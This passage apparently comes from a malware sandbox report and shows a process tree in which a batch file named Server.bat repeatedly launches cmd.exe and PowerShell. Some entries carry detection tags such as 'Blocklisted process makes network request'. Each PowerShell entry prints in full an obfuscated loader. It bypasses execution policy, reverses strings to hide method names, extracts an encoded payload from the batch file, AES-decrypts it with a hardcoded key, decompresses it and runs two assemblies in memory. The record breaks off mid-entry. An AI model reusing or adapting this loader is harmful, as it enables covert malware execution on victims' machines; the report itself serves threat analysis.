        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        68⤵
        
        PID:1988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        69⤵
        
        PID:624
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        67⤵
        
        PID:4368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        68⤵
        
        PID:1912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        66⤵
        
        PID:1880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        67⤵
        Blocklisted process makes network request
        
        PID:5072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        65⤵
        
        PID:2404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        66⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        64⤵
        
        PID:2648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        65⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:3036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        63⤵
        
        PID:112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        64⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        62⤵
        
        PID:8
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        63⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        61⤵
        
        PID:3312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        62⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:5104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        60⤵
        
        PID:3180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        61⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        59⤵
        
        PID:1820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        60⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:4772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        58⤵
        
        PID:2436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        59⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        57⤵
        
        PID:1432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
